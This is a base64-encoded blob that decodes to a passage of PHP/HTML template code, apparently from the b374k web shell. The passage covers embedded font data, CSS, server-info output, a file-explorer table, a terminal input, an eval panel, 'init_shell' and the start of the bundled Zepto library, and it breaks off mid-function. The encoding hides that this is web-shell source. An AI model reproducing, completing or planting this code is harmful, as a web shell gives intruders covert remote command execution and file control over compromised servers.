NzUzZTNQVXQvYkMvL2drSWJQaGhUd2xLZ3doY0RPY1l3WlVKR1YrdE0zeWNFdExGRUhFbkdpQVpHOVFuSllURXFGVU9OUlB0VWU0c21aV0xWbEgzcTVQV3ZxR3Q1b01lUWtCWGVhT0ZvRUVxa0hGYnBVdFVOVVZ6UkpxTERKbXVVQ1lnNTUxdDNGL2lrUVkwOTh2clRZY0FPUXlLcVRMUnVHV0c0NDU1M0hCdGtQR3NuWEZCZ2xYWDY1QmFVTUtSZTRoWFFHK1o2cXU3bGlYRzBGbFQ4S3dUck5YR0VjMFoxdkFDbkxDVXFqSG5obWk0dzVVa09PWkFiSG5tbHlDV0JibXYyTTB2L0FTOVpQZG9BQUFBQUtnQXFBQ29BS2dCbUFKSUJHQUcrQWtZRE1BTlVBN1FFQWdSbUJJd0V2QVRRQk80RkRnWEtCZ29HbEFkV0I3SUlSQWpzQ1JvS0FncVlDcTRLdWdzRUN5b0xkZ3Z3REtZTlFBM09EbHdPcmc3ZUR3b1BsQS9FRC9BUU9CQ1FFTEFSV2hHZ0VoNFNkQk1ZRTRnVVBCUmVGS3dVOGhZR0ZtUVdxaGJtRndRWEloZEFGM1FYaUJlaUdDUVltQmpzR1ZJWjdocENHdVliT2h1T0c5d2NOaHgrSE53ZExCMm9IaGdlaUI2MEgySWZzQi8rSUZvaFBpR2VJbFlpbGlNR0l4NGpqaVBtSStZa0lDU0dKTzRsV0NYQUplSW04aWNxS0F3b2pDakVLTndvNUNvQUtoUXFZaXFXS3pvcjlpd1FMRm9zaml5WUxPQXRFaTFnTFpZdC9pNmlMNFF3QWpBWU1DNHdSREJhTUg0eEVqRnNNbG95Y2pLSU1xQXl1akxRTXVZeS9ETVlNNEF6bGpPc004SXoyRFB1TkFnME9EVTJOVTQxWkRWNk5aUTFxallRTndJM0ZqY3FOejQzVWpkcU40QTRTRGpnT1BZNUNqa2VPVFk1VERsaU9YZzVranBNT21JNmRqcUtPcDQ2c2pyS093bzdvanU0Tzh3NzREdjRQQXc4aER5Y1BOUTlUajMyUGpRK2VEN0FQdFErNkQ4WVAwWS9kai9LUUJ4QWJrQ1dRTUJBNGtFQVFWNUI4RUg0UXJoRFVFZVFBQUFBQVFBQUFOb0FiZ0FPQUUwQUJBQUNBQkFBTHdCWkFBQUZwd2V2QUFJQUFYZ0JMTVkvU2dOUkZNWGgzN24zSlpQaERma3p5Q0JUQklzc3dRV2tkUXZpR3V3c0JjRWRpQzdBMmlYWWlyaUtWRllXVm1KaDVVRE9WMzNBVnRlSW93c2VmVkg1OVlOR3ZaK2M2Y292VkQzNU16cTkrbk42ZmZzTis3ajNGNnppMDI5WjVZbGZHZlBTNzZhLytHdHFIdndOVGY3NVBiV01KQ290OEFDK0dEajR3VkxoSjN1TmZtSFFyVC9qVk0vK25KMCsvSWE3a0w5Z0cyOStPLzNIcjV6bnp1K20zL2hyaG56M055enp5KzhaU3ZEZktoV3RSZzdEd1BrVS9VQ2RiSjlLWC9mbzArN0xRZnZ1eHFvVG10aUxvN0QwNzI5d2R5RUV3dDFCRVlpUlI1cUppSTdJdU9BTEJRTWllaGdFajJoeFlBaFpqOFNPUkxZakhpRTR3UkRnaUlqcnU1S2ZtUU1FQzNFZ0xzU0dua2p3aXZmNmJzeUNGK1NLVjlNMUN4MGRuWEhNbDY4eXhON2tzVDBjNU9oVFRrUG5SemxaY0NLbm9kTTBhNUFsQlMxaXZjcnIrNUpza1plYzdKdnVWQTZ1eGNiNVhKMHpjT3MvNThUaU54U1IvQWlQd2xMak12cXlOeXViZnNGYjNYYkdVRHNFTFJ5ZW1OY3VjbE9WTnkzemtKTzA3dW5mUG05ZmZsL3FMdlN3M2UxYm1McjVZV2ROVHhSMmZqd2xvSkNhSTk5bkdCR3JPbUZFbmtneDFjNVA4b0tNajcrYzBYMWJuOExxVi91aVVqUU9zMm5SSUZaODBNbVh6MW55eCtZaWdGOVYwcXFCNEF6UGlIY0wwbjYwbk9Uc2ZSUU8vSDkvRDJOYzhJeUdjYTNoRUZZcTAwM0RvVU5tMVhESTdQTGNOTmZyMVlVcU9GSFBkWGxxZmw3d3grOThNL3NINHFnTEgzZ0JYTUZEWWdNQkFBREEyYTJ0clczYnR0M0cva3crbWM4azk4d0lnV3BaaEVDOUNnS2hCbzJhTkd2UnFrMjdEcDI2ZE92UnEwKy9BWkZCUTRhTkdEVm0zSVJKVTZiTm1EVm4zb0pGUzVhdFdMVm0zWVpOVzdidDJMVm4zNEZEUjQ2ZE9IWG0zSVZMVjY3ZHVIWG4zb05IVDU2OWVQWG0zWWRQWDc3OStQWG5YMHhjUWxKS1drWldUbDVCVWFsR0VGejBBZ0FHQUFCOW4veWR1cnViYWNhWWpSTlRGemFkTTNIQWRFM2JPT3Zwcy9mRWhRZ2pHalJhMCt0UmswN3QrbzBaRFpIYTNLblg0OHUzRG4xYWJIcndhY0M0WHovK0RKdXdaOGVrZUFtNkpEcVFaTmUrRTRlT0hIdVM3TnlwTTFOU2ZPaDI1Y0tsVkMvZXRFcVhKa09XVE5rRzVjaVRLMStCSW9XS2xYaFdxbHlaQ2xVcUxSdFNvMXF0T3EvZXJiZzJiY2FOZTdkbXpWbTBaTXU4QmR1YXJkdXdHcUpDZElnSnNlRi9ISXljN0tWNW1RWUdqZ1pRMm9VbkxiKzBxTGkwSUxVb003K0l4YlcwS0I4a1kyUmthQXFpWFEzYzNNQzBtNXNMaUhZek1EQUFBRkhFY3J0NEFUV016MHJ6UUJURlo3N3dGUmRGUmFHSUVJS0ttMmJUUjRnZERMRkJhSnRlYlJwak8yclVmWW9ZRUtxV1N2M1ROb29pS0tMUUIrZ1VOOEdOdm9HdjRNN0gwRnRxTDVkN3pwemZZYlR4NTI2diswOTdtcDNUSDRPa0V2MThhUEdIK0pSK0h4aktuVDhNQ3JjWTNQalR5clZ2S0Ixc3RSRmVJYnpFOXducVJUMnBuSjhaU2hOWkExa2R1NmVZMTVBZm9oNWgzZ3ZlZzg5QTBnSmxRVC9BN0kxU3dpalI1bUdmN2NFdTgyQ0hjZGhtRmRoaVpkaGtMbXd3QjByTUJoRmhMVU1uUE55YTEvR2tGS2VUUE1VclBPU0NmL0ZZcjB5SlMxTnV4UTFkcWNqV1lKMEJXT0VxNUVNVGNtRUdzdUVLNkU0YWxwMGxLRmo0M1d1Qy9xY1JEYzFJK3M2YllpenJDTm9VaTliZ2FybVNpRFVGZ1pKVDdGUGF0aHV0RmtuTHBwQ3RvbmlSYlZNWWFMU0JPVVpENUg2Q3BHMVZKZXJmK0ZVZnQrcXJvNkhJL0lHTVN1alE0RVVkOHVyTUx6SlplMGNBKSBmb3JtYXQoJ3dvZmYnKTsKCWZvbnQtd2VpZ2h0OiBub3JtYWw7Cglmb250LXN0eWxlOiBub3JtYWw7Cn0KKnsKCWZvbnQtZmFtaWx5OnVidW50dW1vbm87CgltYXJnaW46MDsKCXBhZGRpbmc6MDsKCWJvcmRlcjowOwoJLXdlYmtpdC1ib3gtc2l6aW5nOmJvcmRlci1ib3g7CgktbW96LWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWJveC1zaXppbmc6Ym9yZGVyLWJveDsKCWZvbnQtc2l6ZToxMnB4OwoJZm9udC13ZWlnaHQ6bm9ybWFsOwp9CmlucHV0OmZvY3VzLCBzZWxlY3Q6Zm9jdXMsIHRleHRhcmVhOmZvY3VzLCBidXR0b246Zm9jdXN7CglvdXRsaW5lOm5vbmU7Cn0KaHRtbCwgYm9keXsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWNvbG9yOiMyMjIyMjI7Cn0KYm9keXsKCWJhY2tncm91bmQ6I2YwZjBmMDsKCWxpbmUtaGVpZ2h0OjE3cHg7Cn0KYXsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJY29sb3I6IzAwMDAwMDsKfQphOmhvdmVyewoJY3Vyc29yOnBvaW50ZXI7Cn0KcHsKCXBhZGRpbmc6OHB4IDA7Cn0KaW1newoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CnRhYmxlewoJd2lkdGg6MTAwJTsKfQp0YWJsZSB0ZCwgdGFibGUgdGh7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7CglwYWRkaW5nOjhweDsKfQp0ZXh0YXJlYSwgaW5wdXQsIHNlbGVjdHsKCWJhY2tncm91bmQ6I2ZmZmZmZjsKCXBhZGRpbmc6OHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cgljb2xvcjojMTExMTExOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwp9CnRleHRhcmVhewoJcmVzaXplOnZlcnRpY2FsOwoJd2lkdGg6MTAwJTsKCWhlaWdodDozMDBweDsKCW1pbi1oZWlnaHQ6MzAwcHg7CgltYXgtd2lkdGg6MTAwJTsKCW1pbi13aWR0aDoxMDAlOwp9CmhyewoJbWFyZ2luOjhweCAwOwoJYm9yZGVyLWJvdHRvbToxcHggZGFzaGVkICNkZGRkZGQ7Cn0KdmlkZW97Cgl3aWR0aDoxMDAlOwoJYmFja2dyb3VuZDojMjIyMjIyOwoJYm9yZGVyLXJhZGl1czo4cHg7Cn0KaDEsIGgyewoJYmFja2dyb3VuZDojRTdFN0U3OwoJYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICNjY2NjY2M7Cgljb2xvcjojMDAwMDAwOwoJYm9yZGVyLXJhZGl1czo4cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCWN1cnNvcjpwb2ludGVyOwoJcGFkZGluZzo4cHg7CgltYXJnaW4tYm90dG9tOjhweDsKfQpoMSBhLCBoMiBhewoJY29sb3I6IzAwMDAwMDsKfQpwcmUsICN2aWV3RmlsZWNvbnRlbnR7Cgl3b3JkLWJyZWFrOmJyZWFrLWFsbDsKCXdvcmQtd3JhcDpicmVhay13b3JkOwp9CnByZXsKCXdoaXRlLXNwYWNlOnByZS13cmFwOwp9CiNiMzc0a3sKCWN1cnNvcjpwb2ludGVyOwp9CiNoZWFkZXJ7Cgl3aWR0aDoxMDAlOwoJcG9zaXRpb246Zml4ZWQ7Cn0KI2hlYWRlck5hdnsKCXBhZGRpbmc6MTBweCA4cHggNnB4IDhweDsKCWJhY2tncm91bmQ6IzMzMzMzMzsKfQojaGVhZGVyTmF2IGltZ3sKCW1hcmdpbjowIDRweDsKfQojaGVhZGVyTmF2IGF7Cgljb2xvcjojZWZlZmVmOwp9CiNtZW51ewoJYmFja2dyb3VuZDojN0M5NEE4OwoJaGVpZ2h0OjMzcHg7Cglib3JkZXItYm90dG9tOjNweCBzb2xpZCAjQ0NDRkQxOwp9CiNtZW51IC5tZW51aXRlbXsKCXBhZGRpbmc6N3B4IDEycHggNnB4IDEycHg7CglmbG9hdDpsZWZ0OwoJaGVpZ2h0OjMwcHg7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cgljb2xvcjojZmZmZmZmOwoJY3Vyc29yOnBvaW50ZXI7Cn0KI21lbnUgLm1lbnVpdGVtOmhvdmVyLCAjbWVudSAubWVudWl0ZW1TZWxlY3RlZHsKCWJhY2tncm91bmQ6Izc2ODk5OTsKCWNvbG9yOiNmZmZmZmY7Cn0KI21lbnUgLm1lbnVpdGVtU2VsZWN0ZWR7CgliYWNrZ3JvdW5kOiM3Njg5OTk7Cn0KI2Jhc2ljSW5mb3sKCXdpZHRoOjEwMCU7CglwYWRkaW5nOjhweDsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9CiNjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJaGVpZ2h0OjEwMCU7CglwYWRkaW5nOjY2cHggOHB4IDhweCA4cHg7Cn0KI2NvbnRlbnQgLm1lbnVjb250ZW50ewoJYmFja2dyb3VuZDojZjBmMGYwOwoJY2xlYXI6Ym90aDsKCWRpc3BsYXk6bm9uZTsKCXBhZGRpbmc6OHB4OwoJb3ZlcmZsb3cteDphdXRvOwoJb3ZlcmZsb3cteTpoaWRkZW47Cn0KI292ZXJsYXl7Cglwb3NpdGlvbjpmaXhlZDsKCXRvcDowcHg7CglsZWZ0OjBweDsKCXdpZHRoOjEwMCU7CgloZWlnaHQ6MTAwJTsKCWRpc3BsYXk6bm9uZTsKfQojbG9hZGluZ3sKCXdpZHRoOjY0cHg7CgloZWlnaHQ6NjRweDsKCWJhY2tncm91bmQ6IzdDOTRBODsKCWJvcmRlci1yYWRpdXM6MzJweCAwIDMycHggMDsKCW1hcmdpbjphdXRvOwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9CiN1bERyYWdORHJvcHsKCXBhZGRpbmc6MzJweCAwOwoJdGV4dC1hbGlnbjpjZW50ZXI7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cglib3JkZXItcmFkaXVzOjhweDsKCWNvbG9yOiNlYmViZWI7Cn0KI2Zvcm17CglkaXNwbGF5Om5vbmU7Cn0KI2RldlRpdGxlewoJYmFja2dyb3VuZDojZWJlYmViOwp9Ci5ib3h7CgltaW4td2lkdGg6NTAlOwoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZzo4cHggOHB4IDAgOHB4OwoJYm9yZGVyLXJhZGl1czo4cHg7Cglwb3NpdGlvbjpmaXhlZDsKCWJhY2tncm91bmQ6I2ViZWJlYjsKCW9wYWNpdHk6MTsKCWJveC1zaGFkb3c6MXB4IDFweCAyNXB4ICMxNTBmMGY7CglvcGFjaXR5OjAuOTg7Cn0KLmJveHRpdGxlewoJYmFja2dyb3VuZDojZGRkZGRkOwoJYm9yZGVyOiAxcHggc29saWQgI2NjY2NjYzsKCWNvbG9yOiMwMDAwMDA7Cglib3JkZXItcmFkaXVzOjhweDsKCXRleHQtYWxpZ246Y2VudGVyOwoJY3Vyc29yOnBvaW50ZXI7Cn0KLmJveHRpdGxlIGEsIC5ib3h0aXRsZSBhOmhvdmVyewoJY29sb3I6IzAwMDAwMDsKfQouYm94Y29udGVudHsKCXBhZGRpbmc6MnB4IDAgMnB4IDA7Cn0KLmJveHJlc3VsdHsKCXBhZGRpbmc6NHB4IDEwcHggNnB4IDEwcHg7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkZGRkOwoJbWFyZ2luLXRvcDo0cHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouYm94dGJsewoJYm9yZGVyOjFweCBzb2xpZCAjZGRkZGRkOwoJYm9yZGVyLXJhZGl1czo4cHg7CglwYWRkaW5nLWJvdHRvbTo4cHg7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cn0KLmJveHRibCB0ZHsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCXBhZGRpbmc6OHB4IDE1cHg7Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm94dGJsIGlucHV0LCAuYm94dGJsIHNlbGVjdCwgLmJveHRibCAuYnV0dG9uewoJd2lkdGg6MTAwJTsKfQouYm94bGFiZWx7Cgl0ZXh0LWFsaWduOiBjZW50ZXI7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZGRkZGRkOwoJcGFkZGluZy1ib3R0b206OHB4Owp9Ci5ib3hjbG9zZXsKCWJhY2tncm91bmQ6IzIyMjIyMjsKCWJvcmRlci1yYWRpdXM6M3B4OwoJbWFyZ2luLXJpZ2h0OjhweDsKCW1hcmdpbi10b3A6LTNweDsKCXBhZGRpbmc6MnB4IDhweDsKCWN1cnNvcjpwb2ludGVyOwoJY29sb3I6I2ZmZmZmZjsKfQouc3Ryb25newoJY29sb3I6IzdDOTRBODsKCXRleHQtc2hhZG93OjBweCAwcHggMXB4ICNDMERDRjU7Cn0KLndlYWt7Cgljb2xvcjojNjY2NjY2Owp9Ci5idXR0b257CgltaW4td2lkdGg6MTIwcHg7Cgl3aWR0aDoxMjBweDsKCW1hcmdpbjoycHg7Cgljb2xvcjojZmZmZmZmOwoJYmFja2dyb3VuZDojN0M5NEE4OwoJYm9yZGVyOm5vbmU7CglwYWRkaW5nOjhweDsKCWJvcmRlci1yYWRpdXM6OHB4OwoJZGlzcGxheTpibG9jazsKCXRleHQtYWxpZ246Y2VudGVyOwoJZmxvYXQ6bGVmdDsKCWN1cnNvcjpwb2ludGVyOwp9Ci5idXR0b246aG92ZXIsICN1bERyYWdORHJvcDpob3ZlcnsKCWJhY2tncm91bmQ6Izc2ODk5OTsKfQouZmxvYXRMZWZ0ewoJZmxvYXQ6bGVmdDsKfQouZmxvYXRSaWdodHsKCWZsb2F0OnJpZ2h0Owp9Ci5jb2xGaXR7Cgl3aWR0aDoxcHg7CiAgICB3aGl0ZS1zcGFjZTpub3dyYXA7Cn0KLmNvbFNwYW57Cgl3aWR0aDoxMDAlOwp9Ci5ib3JkZXJ7Cglib3JkZXI6MXB4IHNvbGlkICNkZGRkZGQ7CgliYWNrZ3JvdW5kOiNlYmViZWI7Cglib3JkZXItcmFkaXVzOjhweDsKCXBhZGRpbmc6OHB4Owp9Ci5ib3JkZXJib3R0b217Cglib3JkZXItYm90dG9tOjFweCBkYXNoZWQgI2RkZGRkZDsKfQouYm9yZGVycmlnaHR7Cglib3JkZXItcmlnaHQ6MXB4IGRhc2hlZCAjZGRkZGRkOwp9Ci5ib3JkZXJsZWZ0ewoJYm9yZGVyLWxlZnQ6MXB4IGRhc2hlZCAjZGRkZGRkOwp9Ci5ociB0ZHsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9Ci5jQm94LCAuY0JveEFsbHsKCXdpZHRoOjEwcHg7CgloZWlnaHQ6MTBweDsKCWJvcmRlcjoxcHggc29saWQgIzdDOTRBODsKCWJvcmRlci1yYWRpdXM6NXB4OwoJbWFyZ2luOmF1dG87CglmbG9hdDpsZWZ0OwoJbWFyZ2luOjNweCA2cHggMnB4IDZweDsKCWN1cnNvcjpwb2ludGVyOwp9Ci5jQm94U2VsZWN0ZWR7CgliYWNrZ3JvdW5kOiM3Qzk0QTg7Cn0KLmFjdGlvbiwgLmFjdGlvbmZvbGRlciwgLmFjdGlvbmRvdHsKCWN1cnNvcjpwb2ludGVyOwp9Ci5waHBFcnJvcnsKCXBhZGRpbmc6OHB4OwoJbWFyZ2luOjhweCAwOwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLmRhdGFWaWV3IHRkLCAuZGF0YVZpZXcgdGgsICN2aWV3RmlsZSB0ZHsKCXZlcnRpY2FsLWFsaWduOnRvcDsKCWJvcmRlci1ib3R0b206MXB4IGRhc2hlZCAjZGRkZGRkOwp9Ci5kYXRhVmlldyB0Ym9keSB0cjpob3ZlcnsKCWJhY2tncm91bmQ6I2ViZWJlYjsKfQouZGF0YVZpZXcgdGh7Cgl2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7Cglib3JkZXItYm90dG9tOjA7CgliYWNrZ3JvdW5kOiNlMGUwZTA7Cn0KLmRhdGFWaWV3IHRmb290IHRkewoJdmVydGljYWwtYWxpZ246bWlkZGxlOwp9Ci5kYXRhVmlldyAuY29sLWNib3h7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKCXdpZHRoOjIwcHg7Cn0KLmRhdGFWaWV3IC5jb2wtc2l6ZXsKCXdpZHRoOjcwcHg7Cn0KI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCgzKXsKCXRleHQtYWxpZ246bGVmdDsKfQojeHBsVGFibGUgdHI+dGQ6bnRoLWNoaWxkKDQpLCN4cGxUYWJsZSB0cj50ZDpudGgtY2hpbGQoNSksI3hwbFRhYmxlIHRyPnRkOm50aC1jaGlsZCg2KXsKCXRleHQtYWxpZ246Y2VudGVyOwp9Ci5kYXRhVmlldyAuY29sLW93bmVyewoJd2lkdGg6MTQwcHg7CgltaW4td2lkdGg6MTQwcHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouZGF0YVZpZXcgLmNvbC1wZXJtc3sKCXdpZHRoOjgwcHg7Cgl0ZXh0LWFsaWduOmNlbnRlcjsKfQouZGF0YVZpZXcgLmNvbC1tb2RpZmllZHsKCXdpZHRoOjE1MHB4OwoJdGV4dC1hbGlnbjpjZW50ZXI7Cn0KLnNvcnRhYmxlIHRoewoJY3Vyc29yOnBvaW50ZXI7Cn0KI3hwbFRhYmxlIHRkewoJd2hpdGUtc3BhY2U6bm93cmFwOwp9CiN2aWV3RmlsZSB0ZHsKCXRleHQtYWxpZ246bGVmdDsKfQojdmlld0ZpbGVjb250ZW50ewoJcGFkZGluZzo4cHg7Cglib3JkZXI6MXB4IHNvbGlkICNkZGRkZGQ7Cglib3JkZXItcmFkaXVzOjhweDsKfQojdGVybWluYWxQcm9tcHQgdGR7CglwYWRkaW5nOjA7Cn0KI3Rlcm1pbmFsSW5wdXR7CgliYWNrZ3JvdW5kOm5vbmU7Cglib3JkZXI6bm9uZTsKCXBhZGRpbmc6MDsKCXdpZHRoOjEwMCU7Cn0KI2V2YWxBZGRpdGlvbmFsewoJZGlzcGxheTpub25lOwp9Ci5obF9kZWZhdWx0ewoJY29sb3I6IzUxNzc5NzsKfQouaGxfa2V5d29yZHsKCWNvbG9yOiMwMEJCMDA7Cn0KLmhsX3N0cmluZ3sKCWNvbG9yOiMwMDAwMDA7Cn0KLmhsX2h0bWx7Cgljb2xvcjojQ0U1NDAzOwp9Ci5obF9jb21tZW50ewoJY29sb3I6IzdGOUY3RjsKfQojbmF2aWdhdGlvbntwb3NpdGlvbjpmaXhlZDtsZWZ0Oi0xNnB4O3RvcDo0NiU7fQojdG90b3AsI3RvYm90dG9tLCN0b2dnbGVCYXNpY0luZm97YmFja2dyb3VuZDp1cmwoJzw/cGhwIGVjaG8gZ2V0X3Jlc291cmNlKCdhcnJvdycpOz8+Jyk7d2lkdGg6MzJweDtoZWlnaHQ6MzJweDtvcGFjaXR5OjAuMzA7bWFyZ2luOjE4cHggMDtjdXJzb3I6cG9pbnRlcjt9CiN0b3RvcDpob3ZlciwjdG9ib3R0b206aG92ZXJ7b3BhY2l0eTowLjgwO30KI3RvZ2dsZUJhc2ljSW5mb3tkaXNwbGF5Om5vbmU7ZmxvYXQ6cmlnaHQ7bWFyZ2luOjA7fQojYmFzaWNJbmZvU3BsaXR0ZXJ7ZGlzcGxheTpub25lO30KI3RvYm90dG9tey13ZWJraXQtdHJhbnNmb3JtOnNjYWxlWSgtMSk7LW1vei10cmFuc2Zvcm06c2NhbGVZKC0xKTstby10cmFuc2Zvcm06c2NhbGVZKC0xKTt0cmFuc2Zvcm06c2NhbGVZKC0xKTtmaWx0ZXI6RmxpcFY7LW1zLWZpbHRlcjoiRmxpcFYiO30KI3Nob3dpbmZve2Zsb2F0OnJpZ2h0O2Rpc3BsYXk6bm9uZTt9CiNsb2dvdXR7ZmxvYXQ6cmlnaHQ7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8IS0td3JhcHBlciBzdGFydC0tPgo8ZGl2IGlkPSd3cmFwcGVyJz4KCTwhLS1oZWFkZXIgc3RhcnQtLT4KCTxkaXYgaWQ9J2hlYWRlcic+CgkJPCEtLWhlYWRlciBpbmZvIHN0YXJ0LS0+CgkJPGRpdiBpZD0naGVhZGVyTmF2Jz4KCQkJPHNwYW4+PGEgb25jbGljaz0ic2V0X2Nvb2tpZSgnY3dkJywgJycpOyIgaHJlZj0nPD9waHAgZWNobyBnZXRfc2VsZigpOyA/Pic+PD9waHAgZWNobyAkR0xPQkFMU1sndGl0bGUnXS4iICIuJEdMT0JBTFNbJ3ZlciddPz48L2E+PC9zcGFuPgoJCQk8aW1nIG9uY2xpY2s9J3ZpZXdmaWxlb3Jmb2xkZXIoKTsnIGlkPSdiMzc0aycgc3JjPSc8P3BocCBlY2hvIGdldF9yZXNvdXJjZSgnYjM3NGsnKTs/PicgLz4mbmJzcDs8c3BhbiBpZD0nbmF2Jz48P3BocCBlY2hvICRuYXY7ID8+PC9zcGFuPgoKCQkJPGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nbG9nb3V0JyB0aXRsZT0nbG9nIG91dCc+eDwvYT4KCQkJPGEgY2xhc3M9J2JveGNsb3NlJyBpZD0nc2hvd2luZm8nIHRpdGxlPSdzaG93IGluZm8nPnY8L2E+CgkJPC9kaXY+CgkJPCEtLWhlYWRlciBpbmZvIGVuZC0tPgoKCQk8IS0tbWVudSBzdGFydC0tPgoJCTxkaXYgaWQ9J21lbnUnPgoJCQk8P3BocAoJCQkJZm9yZWFjaCgkR0xPQkFMU1snbW9kdWxlX3RvX2xvYWQnXSBhcyAkayl7CgkJCQkJZWNobyAiPGEgY2xhc3M9J21lbnVpdGVtJyBpZD0nbWVudSIuJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsnaWQnXS4iJyBocmVmPScjISIuJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsnaWQnXS4iJz4iLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ3RpdGxlJ10uIjwvYT4iOwoJCQkJfQoJCQk/PgoJCTwvZGl2PgoJCTwhLS1tZW51IGVuZC0tPgoKCTwvZGl2PgoJPCEtLWhlYWRlciBlbmQtLT4KCgk8IS0tY29udGVudCBzdGFydC0tPgoJPGRpdiBpZD0nY29udGVudCc+CgkJPCEtLXNlcnZlciBpbmZvIHN0YXJ0LS0+CgkJPGRpdiBpZD0nYmFzaWNJbmZvJz4KCQkJPGRpdiBpZD0ndG9nZ2xlQmFzaWNJbmZvJz48L2Rpdj4KCQkJPD9waHAKCQkJZWNobyAkZXJyb3JfaHRtbDsKCQkJZm9yZWFjaChnZXRfc2VydmVyX2luZm8oKSBhcyAkaz0+JHYpewoJCQkJZWNobyAiPGRpdj4iLiR2LiI8L2Rpdj4iOwoJCQl9CgkJCT8+CgkJPC9kaXY+CgkJPCEtLXNlcnZlciBpbmZvIGVuZC0tPgoKCQk8P3BocAoJCQlmb3JlYWNoKCRHTE9CQUxTWydtb2R1bGVfdG9fbG9hZCddIGFzICRrKXsKCQkJCSRjb250ZW50ID0gJEdMT0JBTFNbJ21vZHVsZSddWyRrXVsnY29udGVudCddOwoJCQkJZWNobyAiPGRpdiBjbGFzcz0nbWVudWNvbnRlbnQnIGlkPSciLiRHTE9CQUxTWydtb2R1bGUnXVska11bJ2lkJ10uIic+Ii4kY29udGVudC4iPC9kaXY+IjsKCQkJfQoJCT8+Cgk8L2Rpdj4KCTwhLS1jb250ZW50IGVuZC0tPgoKPC9kaXY+CjwhLS13cmFwcGVyIGVuZC0tPgo8ZGl2IGlkPSduYXZpZ2F0aW9uJz4KCTxkaXYgaWQ9J3RvdG9wJz48L2Rpdj4KCTxkaXYgaWQ9J3RvYm90dG9tJz48L2Rpdj4KPC9kaXY+Cjx0YWJsZSBpZD0ib3ZlcmxheSI+PHRyPjx0ZD48ZGl2IGlkPSJsb2FkaW5nIiBvbmRibGNsaWNrPSdsb2FkaW5nX3N0b3AoKTsnPjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPgo8Zm9ybSBhY3Rpb249Jzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nIG1ldGhvZD0ncG9zdCcgaWQ9J2Zvcm0nIHRhcmdldD0nX2JsYW5rJz48L2Zvcm0+CjwhLS1zY3JpcHQgc3RhcnQtLT4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgp2YXIgdGFyZ2V0dXJsID0gJzw/cGhwIGVjaG8gZ2V0X3NlbGYoKTsgPz4nOwp2YXIgbW9kdWxlX3RvX2xvYWQgPSAnPD9waHAgZWNobyBpbXBsb2RlKCIsIiwgJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10pOz8+JzsKdmFyIHdpbiA9IDw/cGhwIGVjaG8gKGlzX3dpbigpKT8ndHJ1ZSc6J2ZhbHNlJzs/PjsKdmFyIGluaXRfc2hlbGwgPSB0cnVlOwovKiBaZXB0byB2MS4xLjIgLSB6ZXB0byBldmVudCBhamF4IGZvcm0gaWUgLSB6ZXB0b2pzLmNvbS9saWNlbnNlICovCnZhciBaZXB0bz1mdW5jdGlvbigpe2Z1bmN0aW9uIEcoYSl7cmV0dXJuIGE9PW51bGw/U3RyaW5nKGEpOnpbQS5jYWxsKGEpXXx8Im9iamVjdCJ9ZnVuY3Rpb24gSChhKXtyZXR1cm4gRyhhKT09ImZ1bmN0aW9uIn1mdW5jdGlvbiBJKGEpe3JldHVybiBhIT1udWxsJiZhPT1hLndpbmRvd31mdW5jdGlvbiBKKGEpe3JldHVybiBhIT1udWxsJiZhLm5vZGVUeXBlPT1hLkRPQ1VNRU5UX05PREV9ZnVuY3Rpb24gSyhhKXtyZXR1cm4gRyhhKT09Im9iamVjdCJ9ZnVuY3Rpb24gTChhKXtyZXR1cm4gSyhhKSYmIUkoYSkmJk9iamVjdC5nZXRQcm90b3R5cGVPZihhKT09T2JqZWN0LnByb3RvdHlwZX1mdW5jdGlvbiBNKGEpe3JldHVybiBhIGluc3RhbmNlb2YgQXJyYXl9ZnVuY3Rpb24gTihhKXtyZXR1cm4gdHlwZW9mIGEubGVuZ3RoPT0ibnVtYmVyIn1mdW5jdGlvbiBPKGEpe3JldHVybiBnLmNhbGwoYSxmdW5jdGlvbihhKXtyZXR1cm4gYSE9bnVsbH0pfWZ1bmN0aW9uIFAoYSl7cmV0dXJuIGEubGVuZ3RoPjA/Yy5mbi5jb25jYXQuYXBwbHkoW10sYSk6YX1mdW5jdGlvbiBRKGEpe3JldHVybiBhLnJlcGxhY2UoLzo6L2csIi8iKS5yZXBsYWNlKC8oW0EtWl0rKShbQS1aXVthLXpdKS9nLCIkMV8kMiIpLnJlcGxhY2UoLyhbYS16XGRdKShbQS1aXSkvZywiJDFfJDIiKS5yZXBsYWNlKC9fL2csIi0iKS50b0xvd2Vy